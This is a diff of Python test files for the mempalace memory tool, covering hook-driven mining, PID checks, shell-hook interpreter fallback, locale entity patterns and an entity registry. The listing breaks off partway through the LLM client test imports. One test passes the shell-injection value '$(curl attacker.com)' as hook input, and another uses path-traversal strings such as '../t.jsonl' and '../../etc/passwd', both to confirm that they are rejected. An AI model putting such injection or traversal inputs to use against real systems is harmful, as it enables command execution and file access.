with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch(
"mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"
):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
cmd = mock_popen.call_args[0][0]
assert cmd[0] == "/fake/venv/python"
def test_mine_sync_with_env_uses_projects_mode(tmp_path):
"""Precompact sync path uses projects mode when MEMPAL_DIR is set."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
_mine_sync()
mock_run.assert_called_once()
cmd = mock_run.call_args[0][0]
assert cmd[cmd.index("--mode") + 1] == "projects"
def test_mine_sync_uses_mempalace_python(tmp_path):
"""Sync mine command uses _mempalace_python(), not bare sys.executable."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"):
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
_mine_sync()
cmd = mock_run.call_args[0][0]
assert cmd[0] == "/fake/venv/python"
def test_maybe_auto_ingest_ignores_transcript_arg_path(tmp_path):
"""_maybe_auto_ingest does NOT mine the transcript directory.
Transcript convos are handled by _ingest_transcript (called separately
in hook handlers). _maybe_auto_ingest only handles MEMPAL_DIR — even
when invoked in a context where a transcript is also being processed,
no second spawn for the transcript dir should appear here.
"""
convo_dir = tmp_path / "convos"
convo_dir.mkdir()
transcript = convo_dir / "session.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {}, clear=True):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest(str(transcript))
mock_popen.assert_called_once()
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_not_called()
def test_mine_sync_ignores_transcript(tmp_path):
"""_mine_sync does not run a convos mine for the transcript dir.
The precompact transcript ingest is the responsibility of
_ingest_transcript; routing it through _mine_sync would stack a
second 60s timeout against the harness 30s ceiling.
"""
convo_dir = tmp_path / "convos"
convo_dir.mkdir()
transcript = convo_dir / "session.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {}, clear=True):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
_mine_sync()
mock_run.assert_not_called()
def test_maybe_auto_ingest_oserror(tmp_path):
@@ -272,35 +542,128 @@ def test_maybe_auto_ingest_oserror(tmp_path):
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
_maybe_auto_ingest() # should not raise
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
_maybe_auto_ingest() # should not raise
# --- _get_mine_dir ---
def test_get_mine_dir_mempal_dir(tmp_path):
"""MEMPAL_DIR takes priority over transcript_path."""
def test_maybe_auto_ingest_skips_when_mine_running(tmp_path):
"""Does not spawn a new mine process if one is already running."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
assert _get_mine_dir(str(transcript)) == str(mempal_dir)
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._mine_already_running", return_value=True):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_not_called()
def test_get_mine_dir_transcript_fallback(tmp_path):
"""Falls back to transcript parent dir when MEMPAL_DIR is not set."""
# --- _mine_already_running ---
def test_mine_already_running_no_file(tmp_path):
"""Returns False when no PID file exists."""
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
assert _mine_already_running() is False
def test_mine_already_running_dead_pid(tmp_path):
"""Returns False when PID file contains a PID that no longer exists."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text("999999999") # almost certainly not a real PID
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is False
def test_mine_already_running_live_pid(tmp_path):
"""Returns True when PID file contains the current process's own PID."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text(str(os.getpid())) # current process is definitely alive
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is True
def test_mine_already_running_corrupt_file(tmp_path):
"""Returns False when PID file contains non-integer content."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text("not-a-pid")
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is False
# --- _get_mine_targets ---
def test_get_mine_targets_mempal_dir_only(tmp_path):
"""MEMPAL_DIR alone yields a single projects target, expanded/resolved."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
targets = _get_mine_targets()
assert len(targets) == 1
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
assert targets[0][1] == "projects"
def test_get_mine_targets_mempal_dir_tilde(tmp_path):
"""MEMPAL_DIR with a tilde prefix is expanded correctly."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
home = Path.home()
try:
rel = mempal_dir.relative_to(home)
except ValueError:
pytest.skip("tmp_path is not under home, cannot build ~-relative path")
tilde_path = "~/" + str(rel)
with patch.dict("os.environ", {"MEMPAL_DIR": tilde_path}):
targets = _get_mine_targets()
assert len(targets) == 1
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
assert targets[0][1] == "projects"
def test_get_mine_targets_no_transcript_target(tmp_path):
"""_get_mine_targets does not emit a convos target for the transcript path.
Transcript ingestion is owned by _ingest_transcript; emitting it
here too would double-mine the same JSONL into a different wing on
every hook fire (#1231 review).
"""
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {}, clear=True):
assert _get_mine_dir(str(transcript)) == str(tmp_path)
targets = _get_mine_targets()
assert targets == []
def test_get_mine_dir_empty():
"""Returns empty string when nothing is available."""
def test_get_mine_targets_only_returns_mempal_dir(tmp_path):
"""When MEMPAL_DIR is set, exactly one projects target — never a convos target."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
targets = _get_mine_targets()
assert len(targets) == 1
assert targets[0][1] == "projects"
def test_validate_transcript_path_traversal_rejected_jsonl(tmp_path):
"""Path traversal is rejected even when the path has a .jsonl suffix.
The pre-fix test used "../../etc/passwd" which lacks an extension and
so was rejected by the suffix gate before the traversal check ever
fired (Copilot review on #1231). Use a .jsonl path with `..`
segments to exercise the traversal guard specifically.
"""
assert _validate_transcript_path("../t.jsonl") is None
assert _validate_transcript_path("a/../b.jsonl") is None
assert _validate_transcript_path("/tmp/../etc/t.jsonl") is None
def test_get_mine_targets_empty():
"""Returns empty list when MEMPAL_DIR is unset or invalid."""
with patch.dict("os.environ", {}, clear=True):
assert _get_mine_dir("") == ""
assert _get_mine_targets() == []
# --- _parse_harness_input ---
@@ -334,12 +697,15 @@ def test_stop_hook_oserror_on_last_save_read(tmp_path):
)
# Write invalid content to last save file
(tmp_path / "test_last_save").write_text("not_a_number")
result = _capture_hook_output(
hook_stop,
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
state_dir=tmp_path,
)
assert result["decision"] == "block"
save_result = {"count": 15, "themes": ["testing"]}
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
result = _capture_hook_output(
hook_stop,
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
state_dir=tmp_path,
)
assert "systemMessage" in result
assert "15 memories" in result["systemMessage"]
def test_stop_hook_oserror_on_write(tmp_path):
@@ -353,18 +719,20 @@ def test_stop_hook_oserror_on_write(tmp_path):
def bad_write_text(*args, **kwargs):
raise OSError("disk full")
save_result = {"count": 15, "themes": []}
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch.object(Path, "write_text", bad_write_text):
result = _capture_hook_output(
hook_stop,
{
"session_id": "test",
"stop_hook_active": False,
"transcript_path": str(transcript),
},
state_dir=tmp_path,
)
assert result["decision"] == "block"
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
with patch.object(Path, "write_text", bad_write_text):
result = _capture_hook_output(
hook_stop,
{
"session_id": "test",
"stop_hook_active": False,
"transcript_path": str(transcript),
},
state_dir=tmp_path,
)
assert "systemMessage" in result
# --- hook_precompact with MEMPAL_DIR ---
@@ -415,21 +783,33 @@ def test_precompact_with_timeout(tmp_path):
def test_precompact_mines_transcript_dir(tmp_path, monkeypatch):
"""Precompact mines transcript directory when no MEMPAL_DIR."""
"""Precompact ingests the active transcript via _ingest_transcript.
With no MEMPAL_DIR, _mine_sync is a no-op; the transcript ingest is
the only mining that should fire, and it goes through Popen
(background) inside _ingest_transcript. Pre-#1231-review this test
asserted against subprocess.run, which corresponded to the
duplicate-mine path that has now been removed.
"""
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
# _ingest_transcript skips files smaller than 100 bytes, so pad it.
transcript.write_text("x" * 200)
monkeypatch.delenv("MEMPAL_DIR", raising=False)
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
result = _capture_hook_output(
hook_precompact,
{"session_id": "test", "transcript_path": str(transcript)},
state_dir=tmp_path,
)
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
result = _capture_hook_output(
hook_precompact,
{"session_id": "test", "transcript_path": str(transcript)},
state_dir=tmp_path,
)
assert result == {}
mock_run.assert_called_once()
# Verify mine dir is the transcript's parent
call_args = mock_run.call_args[0][0]
assert str(tmp_path) in call_args[-1]
mock_run.assert_not_called()
mock_popen.assert_called_once()
cmd = mock_popen.call_args[0][0]
# Mines the transcript's parent dir as convos, into wing "sessions".
assert str(tmp_path) in cmd
assert cmd[cmd.index("--mode") + 1] == "convos"
assert cmd[cmd.index("--wing") + 1] == "sessions"
# --- run_hook ---
@@ -553,22 +933,29 @@ def test_validate_transcript_accepts_platform_native_path(tmp_path):
def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
"""stop_hook_active with shell injection string should not cause issues."""
"""stop_hook_active with shell injection string should not cause pass-through.
Verifies the injected value is not treated as truthy — the save path runs
instead of being short-circuited. Mocks _save_diary_direct so we can assert
it was invoked regardless of silent vs legacy save mode.
"""
transcript = tmp_path / "t.jsonl"
_write_transcript(
transcript,
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
)
# Simulate a malicious stop_hook_active value
result = _capture_hook_output(
hook_stop,
{
"session_id": "test",
"stop_hook_active": "$(curl attacker.com)",
"transcript_path": str(transcript),
},
state_dir=tmp_path,
)
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through
# It should count messages and block at the interval
assert result["decision"] == "block"
with patch(
"mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []}
) as mock_save:
_capture_hook_output(
hook_stop,
{
"session_id": "test",
"stop_hook_active": "$(curl attacker.com)",
"transcript_path": str(transcript),
},
state_dir=tmp_path,
)
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through.
# Save must have been attempted.
assert mock_save.called
+170
View File
@@ -0,0 +1,170 @@
"""
Integration tests for the legacy ``.sh`` hook scripts.
The shell hooks do their own Python resolution (unlike the Python
``hooks_cli.py`` which uses ``sys.executable`` — trivially correct).
GUI-launched harnesses on macOS provide a minimal PATH that often lacks
the Python where ``mempalace`` is installed, so the shell path needs to:
1. honour ``$MEMPAL_PYTHON`` as an explicit user override;
2. fall back to ``$(command -v python3)`` / bare ``python3``;
3. *never* crash the hook when the resolved interpreter can't import
mempalace — log and skip the auto-ingest instead, so Claude Code
doesn't see a non-zero exit from its Stop hook.
These regressions matter because every failure mode they catch produced
silent breakage in production — the user's hook appeared to "not fire"
but was actually crashing deep in a PATH-resolution edge case.
"""
from __future__ import annotations
import json
import os
import stat
import subprocess
import sys
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parent.parent
SAVE_HOOK = REPO_ROOT / "hooks" / "mempal_save_hook.sh"
PRECOMPACT_HOOK = REPO_ROOT / "hooks" / "mempal_precompact_hook.sh"
pytestmark = pytest.mark.skipif(os.name == "nt", reason="bash hook scripts are POSIX-only")
# ── helpers ───────────────────────────────────────────────────────────────
def _write_fake_python(
path: Path, *, can_import_mempalace: bool = False, marker_file: Path | None = None
) -> Path:
"""Create a python3 shim that proxies to the real interpreter so
the hook's JSON-parsing calls still work, but fails ``-c 'import
mempalace'`` / ``-m mempalace`` when ``can_import_mempalace`` is
False.
Every invocation appends the shim name to ``marker_file`` so tests
can prove which interpreter the hook invoked — using a file because
the hook pipes some python calls to ``2>/dev/null``, so stderr
markers are unreliable."""
real_python = sys.executable
marker = str(marker_file) if marker_file is not None else ""
shim_src = f"""#!/bin/bash
# Fake python3 shim: proxy to the real interpreter, drop a marker,
# and simulate a missing mempalace install when configured that way.
MARKER_FILE="{marker}"
if [ -n "$MARKER_FILE" ]; then
echo "{path.name}" >> "$MARKER_FILE"
fi
CAN_IMPORT={"1" if can_import_mempalace else "0"}
# Simulate the "mempalace is not installed in this interpreter" case.
if [ "$CAN_IMPORT" = "0" ]; then
if [ "$1" = "-c" ] && echo "$2" | grep -q "import mempalace"; then
exit 1
fi
if [ "$1" = "-m" ] && [ "$2" = "mempalace" ]; then
exit 1
fi
fi
# Everything else — JSON parsing, heredoc stdin, etc — delegate to real python.
exec "{real_python}" "$@"
"""
path.write_text(shim_src)
path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
return path
def _run_hook(
script: Path,
stdin_json: dict,
*,
env_overrides: dict | None = None,
path_prefix: list[Path] | None = None,
) -> subprocess.CompletedProcess:
"""Invoke a shell hook with a minimal controlled environment."""
env = {
# Give the hook a clean slate — no inherited MEMPAL_* vars.
"HOME": os.environ.get("HOME", "/tmp"),
"PATH": os.environ.get("PATH", "/usr/bin:/bin"),
}
if path_prefix:
env["PATH"] = os.pathsep.join(str(p) for p in path_prefix) + os.pathsep + env["PATH"]
if env_overrides:
env.update(env_overrides)
return subprocess.run(
["bash", str(script)],
input=json.dumps(stdin_json),
capture_output=True,
text=True,
env=env,
timeout=30,
)
# ── MEMPAL_PYTHON resolution contract ────────────────────────────────────
class TestMempalPythonOverride:
def test_explicit_override_wins_over_path(self, tmp_path):
"""If MEMPAL_PYTHON is set and executable, the hook must use it
in preference to whatever is on PATH."""
marker = tmp_path / "markers.log"
fake = _write_fake_python(
tmp_path / "override_python",
can_import_mempalace=True,
marker_file=marker,
)
result = _run_hook(
SAVE_HOOK,
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
env_overrides={"MEMPAL_PYTHON": str(fake), "HOME": str(tmp_path)},
)
assert (
result.returncode == 0
), f"hook exited non-zero: stderr={result.stderr!r} stdout={result.stdout!r}"
invocations = marker.read_text().splitlines() if marker.exists() else []
assert (
"override_python" in invocations
), f"MEMPAL_PYTHON override was not used. Marker log: {invocations!r}"
def test_ignores_override_when_not_executable(self, tmp_path):
"""If MEMPAL_PYTHON is set but the file isn't executable, the
hook must fall back to PATH rather than blow up with a
'permission denied'."""
bogus = tmp_path / "not_executable"
bogus.write_text("# not a python")
# Do NOT chmod +x — the hook should notice and skip.
result = _run_hook(
SAVE_HOOK,
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
env_overrides={"MEMPAL_PYTHON": str(bogus), "HOME": str(tmp_path)},
)
assert (
result.returncode == 0
), f"hook crashed on non-executable MEMPAL_PYTHON: {result.stderr!r}"
def test_falls_back_to_path_when_unset(self, tmp_path):
"""With MEMPAL_PYTHON unset, the hook uses whatever ``python3``
is found on PATH. Prove this by putting a marker-emitting shim
first on PATH."""
marker = tmp_path / "markers.log"
fake = _write_fake_python(
tmp_path / "python3",
can_import_mempalace=True,
marker_file=marker,
)
result = _run_hook(
SAVE_HOOK,
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
env_overrides={"MEMPAL_PYTHON": "", "HOME": str(tmp_path)},
path_prefix=[fake.parent],
)
assert result.returncode == 0
invocations = marker.read_text().splitlines() if marker.exists() else []
assert (
"python3" in invocations
), f"fallback-to-PATH did not use the shimmed python3. Marker log: {invocations!r}"
+74
View File
@@ -56,6 +56,7 @@ def test_dialect_compress_samples():
"de": "Wir haben beschlossen, von SQLite auf PostgreSQL zu migrieren für bessere gleichzeitige Schreibvorgänge. Ben hat den PR gestern genehmigt.",
"zh-CN": "我们决定从SQLite迁移到PostgreSQL以获得更好的并发写入。Ben昨天批准了PR。",
"id": "Kami memutuskan untuk migrasi dari SQLite ke PostgreSQL untuk penulisan bersamaan yang lebih baik. Ben telah menyetujui PR kemarin.",
"be": "Мы вырашылі перайсці з SQLite на PostgreSQL для паляпшэння паралельнага запісу. Зміцер ухваліў PR ўчора.",
}
for lang, text in samples.items():
@@ -85,3 +86,76 @@ def test_from_config_defaults_to_english(tmp_path):
d = Dialect.from_config(str(config_path))
assert d.lang == "en", f"Expected 'en', got '{d.lang}' -- state leak from prior load_lang"
def test_de_entity_section_loads():
"""German entity section loads all pattern lists non-empty."""
from mempalace.i18n import get_entity_patterns
p = get_entity_patterns(("de",))
assert p["candidate_patterns"], "de: empty candidate_patterns"
assert p["multi_word_patterns"], "de: empty multi_word_patterns"
assert p["person_verb_patterns"], "de: empty person_verb_patterns"
assert p["pronoun_patterns"], "de: empty pronoun_patterns"
assert p["dialogue_patterns"], "de: empty dialogue_patterns"
assert p["direct_address_patterns"], "de: empty direct_address_patterns"
assert p["project_verb_patterns"], "de: empty project_verb_patterns"
assert len(p["stopwords"]) > 50, f"de: stopwords too short ({len(p['stopwords'])})"
def test_es_entity_section_loads():
"""Spanish entity section loads all pattern lists non-empty."""
from mempalace.i18n import get_entity_patterns
p = get_entity_patterns(("es",))
assert p["candidate_patterns"], "es: empty candidate_patterns"
assert p["multi_word_patterns"], "es: empty multi_word_patterns"
assert p["person_verb_patterns"], "es: empty person_verb_patterns"
assert p["pronoun_patterns"], "es: empty pronoun_patterns"
assert p["dialogue_patterns"], "es: empty dialogue_patterns"
assert p["direct_address_patterns"], "es: empty direct_address_patterns"
assert p["project_verb_patterns"], "es: empty project_verb_patterns"
assert len(p["stopwords"]) > 50, f"es: stopwords too short ({len(p['stopwords'])})"
def test_fr_entity_section_loads():
"""French entity section loads all pattern lists non-empty."""
from mempalace.i18n import get_entity_patterns
p = get_entity_patterns(("fr",))
assert p["candidate_patterns"], "fr: empty candidate_patterns"
assert p["multi_word_patterns"], "fr: empty multi_word_patterns"
assert p["person_verb_patterns"], "fr: empty person_verb_patterns"
assert p["pronoun_patterns"], "fr: empty pronoun_patterns"
assert p["dialogue_patterns"], "fr: empty dialogue_patterns"
assert p["direct_address_patterns"], "fr: empty direct_address_patterns"
assert p["project_verb_patterns"], "fr: empty project_verb_patterns"
assert len(p["stopwords"]) > 50, f"fr: stopwords too short ({len(p['stopwords'])})"
def test_direct_address_key_is_singular_string_for_all_locales():
"""Schema invariant: any locale declaring direct-address uses the singular
``direct_address_pattern`` (str), never the plural ``direct_address_patterns`` (list).
The loader at ``mempalace/i18n/__init__.py:209-210`` only reads the singular key;
the plural form is the output schema of the merged dict, not the input schema.
Declaring the plural form in a locale file silently drops every direct-address
pattern in that locale after load.
"""
from mempalace.i18n import _load_entity_section, available_languages
for lang in available_languages():
section = _load_entity_section(lang)
if not section:
continue
assert "direct_address_patterns" not in section, (
f"{lang}: declares plural 'direct_address_patterns' (list); "
f"loader only reads singular 'direct_address_pattern' (str). "
f"Collapse the list into one `|`-alternation string and rename the key."
)
if "direct_address_pattern" in section:
val = section["direct_address_pattern"]
assert isinstance(
val, str
), f"{lang}: 'direct_address_pattern' must be str, got {type(val).__name__}"
assert val, f"{lang}: 'direct_address_pattern' is empty"
+276
View File
@@ -0,0 +1,276 @@
"""Tests for mempalace.miner.add_to_known_entities.
Covers the init → miner wire-up: init's confirmed entities merged into
``~/.mempalace/known_entities.json`` so the miner's drawer-tagging path
recognizes them at mine time.
Every test redirects the registry path to a tmp_path to avoid touching
the real ~/.mempalace/ on the developer's machine.
"""
import json
import pytest
from mempalace import miner
@pytest.fixture
def temp_registry(tmp_path, monkeypatch):
"""Redirect the module-level registry path to a tmp file and reset cache."""
registry = tmp_path / "known_entities.json"
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
return registry
# ── fresh-file cases ────────────────────────────────────────────────────
def test_creates_registry_when_absent(temp_registry):
assert not temp_registry.exists()
miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
assert temp_registry.exists()
data = json.loads(temp_registry.read_text())
assert sorted(data["people"]) == ["Alice", "Bob"]
assert data["projects"] == ["foo"]
def test_returns_registry_path(temp_registry):
result = miner.add_to_known_entities({"people": ["Alice"]})
assert result == str(temp_registry)
def test_empty_input_still_creates_file(temp_registry):
"""A no-op merge still touches the file (idempotent), but no entries added."""
miner.add_to_known_entities({})
# File may or may not be written for a truly empty call — tolerate either.
if temp_registry.exists():
data = json.loads(temp_registry.read_text())
assert data == {} or all(not v for v in data.values())
def test_skips_empty_name_strings(temp_registry):
miner.add_to_known_entities({"people": ["Alice", "", None]})
data = json.loads(temp_registry.read_text())
assert data["people"] == ["Alice"]
# ── union / dedup cases ────────────────────────────────────────────────
def test_unions_with_existing_list_category(temp_registry):
temp_registry.write_text(json.dumps({"people": ["Alice", "Bob"]}))
miner.add_to_known_entities({"people": ["Bob", "Carol"]})
data = json.loads(temp_registry.read_text())
# Bob not duplicated, Carol appended, original order preserved
assert data["people"] == ["Alice", "Bob", "Carol"]
def test_case_insensitive_dedup_preserves_first_seen_variant(temp_registry):
temp_registry.write_text(json.dumps({"people": ["Alice"]}))
miner.add_to_known_entities({"people": ["alice", "ALICE", "Bob"]})
data = json.loads(temp_registry.read_text())
# Alice stays as-is; lowercase/uppercase variants don't create new entries
assert data["people"] == ["Alice", "Bob"]
def test_preserves_untouched_categories(temp_registry):
"""A category the caller didn't mention must be left alone."""
temp_registry.write_text(json.dumps({"people": ["Alice"], "places": ["Paris", "Tokyo"]}))
miner.add_to_known_entities({"people": ["Bob"]})
data = json.loads(temp_registry.read_text())
assert data["places"] == ["Paris", "Tokyo"]
assert data["people"] == ["Alice", "Bob"]
def test_adds_new_categories(temp_registry):
temp_registry.write_text(json.dumps({"people": ["Alice"]}))
miner.add_to_known_entities({"projects": ["foo", "bar"]})
data = json.loads(temp_registry.read_text())
assert data["people"] == ["Alice"]
assert data["projects"] == ["foo", "bar"]
def test_dedupes_within_input(temp_registry):
miner.add_to_known_entities({"people": ["Alice", "alice", "Alice"]})
data = json.loads(temp_registry.read_text())
assert data["people"] == ["Alice"]
# ── dict-format existing registry ──────────────────────────────────────
def test_dict_format_existing_category_gets_new_keys(temp_registry):
"""Miner supports {name: code} dict categories (alternate registry shape).
New names are added as keys without overwriting existing codes."""
temp_registry.write_text(json.dumps({"people": {"Alice": "ALC", "Bob": "BOB"}}))
miner.add_to_known_entities({"people": ["Alice", "Carol"]})
data = json.loads(temp_registry.read_text())
# Alice's code survives; Carol added with None; Bob untouched
assert data["people"]["Alice"] == "ALC"
assert data["people"]["Bob"] == "BOB"
assert "Carol" in data["people"]
assert data["people"]["Carol"] is None
def test_dict_format_dedupes_case_insensitively_and_stringifies_new_names(temp_registry):
temp_registry.write_text(json.dumps({"people": {"Alice": "ALC"}}))
miner.add_to_known_entities({"people": ["alice", 123]})
data = json.loads(temp_registry.read_text())
assert data["people"] == {"Alice": "ALC", "123": None}
# ── error tolerance ───────────────────────────────────────────────────
def test_malformed_existing_registry_starts_fresh(temp_registry):
temp_registry.write_text("{ not valid json")
miner.add_to_known_entities({"people": ["Alice"]})
data = json.loads(temp_registry.read_text())
assert data == {"people": ["Alice"]}
def test_non_dict_existing_registry_starts_fresh(temp_registry):
temp_registry.write_text(json.dumps(["unexpected", "array"]))
miner.add_to_known_entities({"people": ["Alice"]})
data = json.loads(temp_registry.read_text())
assert data == {"people": ["Alice"]}
def test_non_list_input_category_ignored(temp_registry):
miner.add_to_known_entities({"people": ["Alice"], "weird": "not a list"})
data = json.loads(temp_registry.read_text())
assert "weird" not in data or data.get("weird") == "not a list"
assert data["people"] == ["Alice"]
# ── cache invalidation ───────────────────────────────────────────────
def test_cache_invalidated_so_subsequent_load_sees_write(temp_registry):
"""cmd_init → cmd_mine runs in the same process; the load path must
see what init just wrote without a process restart."""
# Prime the cache with an empty state
miner._load_known_entities()
assert miner._load_known_entities() == frozenset()
miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
loaded = miner._load_known_entities()
assert "Alice" in loaded
assert "Bob" in loaded
assert "foo" in loaded
def test_raw_view_reflects_write(temp_registry):
miner.add_to_known_entities({"people": ["Alice"]})
raw = miner._load_known_entities_raw()
assert raw.get("people") == ["Alice"]
# ── Unicode round-trip ────────────────────────────────────────────────
def test_unicode_names_written_literally_not_escaped(temp_registry):
"""`ensure_ascii=False` so non-ASCII names stay readable on disk."""
miner.add_to_known_entities({"people": ["Gergő Móricz", "Arturo Domínguez"]})
raw_text = temp_registry.read_text(encoding="utf-8")
assert "Gergő" in raw_text
assert "Móricz" in raw_text
# Round-trips through JSON
data = json.loads(raw_text)
assert "Gergő Móricz" in data["people"]
# ── end-to-end: does the write actually help _extract_entities_for_metadata? ──
def test_populated_registry_improves_miner_recall(temp_registry):
"""The whole point of the wire-up: names written via add_to_known_entities
must be recognized by the miner's entity-extraction metadata pass."""
miner.add_to_known_entities(
{
"people": ["Julia Grib", "Kevin Heifner"],
"projects": ["hyperion-history", "mempalace"],
}
)
sample = (
"Met with Julia Grib yesterday about the mempalace release. "
"Kevin Heifner pushed the hyperion-history fix."
)
result = miner._extract_entities_for_metadata(sample)
tagged = set(result.split(";")) if result else set()
# All four registered entities should land in the metadata string
for expected in ("Julia Grib", "Kevin Heifner", "hyperion-history", "mempalace"):
assert expected in tagged, f"expected '{expected}' in metadata {tagged!r}"
# ── topics_by_wing — cross-wing tunnel signal source (issue #1180) ──
def test_topics_persisted_under_topics_by_wing(temp_registry):
miner.add_to_known_entities(
{"people": ["Alice"], "topics": ["Angular", "OpenAPI"]},
wing="wing_alpha",
)
data = json.loads(temp_registry.read_text())
# Topics also stored as a flat list (existing-style aggregate).
assert "Angular" in data["topics"]
# And recorded by wing for tunnel computation.
assert data["topics_by_wing"]["wing_alpha"] == ["Angular", "OpenAPI"]
def test_topics_by_wing_replaces_on_reinit(temp_registry):
"""Re-running init for the same wing should reflect the latest list,
not accumulate stale topics indefinitely."""
miner.add_to_known_entities({"topics": ["Angular", "OpenAPI"]}, wing="wing_alpha")
miner.add_to_known_entities({"topics": ["OpenAPI", "Postgres"]}, wing="wing_alpha")
data = json.loads(temp_registry.read_text())
assert data["topics_by_wing"]["wing_alpha"] == ["OpenAPI", "Postgres"]
def test_topics_by_wing_multiple_wings_coexist(temp_registry):
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_a")
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_b")
data = json.loads(temp_registry.read_text())
assert data["topics_by_wing"] == {"wing_a": ["foo"], "wing_b": ["foo", "bar"]}
def test_topics_by_wing_skipped_without_wing(temp_registry):
miner.add_to_known_entities({"topics": ["foo"]})
data = json.loads(temp_registry.read_text())
# No wing → no topics_by_wing entry, but topics list still saved.
assert "topics_by_wing" not in data
assert data["topics"] == ["foo"]
def test_topics_by_wing_dedupes_case_insensitive(temp_registry):
miner.add_to_known_entities({"topics": ["OpenAPI", "openapi", "OPENAPI"]}, wing="wing_a")
data = json.loads(temp_registry.read_text())
# Only one entry, casing of the first observed name preserved.
assert data["topics_by_wing"]["wing_a"] == ["OpenAPI"]
def test_get_topics_by_wing_reads_registry(temp_registry):
miner.add_to_known_entities({"topics": ["foo"]}, wing="wing_a")
miner.add_to_known_entities({"topics": ["foo", "bar"]}, wing="wing_b")
result = miner.get_topics_by_wing()
assert result == {"wing_a": ["foo"], "wing_b": ["foo", "bar"]}
def test_get_topics_by_wing_empty_when_missing(temp_registry):
miner.add_to_known_entities({"people": ["Alice"]})
assert miner.get_topics_by_wing() == {}
def test_topics_by_wing_does_not_pollute_known_names(temp_registry):
"""Wing names in topics_by_wing must NOT leak into the flat known-names
set used by ``_extract_entities_for_metadata`` — only the topic strings
themselves should be recognized."""
miner.add_to_known_entities({"topics": ["Angular"]}, wing="wing_super_secret_project")
known = miner._load_known_entities()
assert "Angular" in known
assert "wing_super_secret_project" not in known
+485
View File
@@ -0,0 +1,485 @@
"""Tests for mempalace.llm_client.
HTTP is mocked throughout — these tests do not require a running Ollama
or network access. Live-provider smoke tests live outside the unit-test
suite.
"""
import json
from unittest.mock import patch, MagicMock
import pytest
from mempalace.llm_client import (
AnthropicProvider,
LLMError,
OllamaProvider,
OpenAICompatProvider,
_http_post_json,
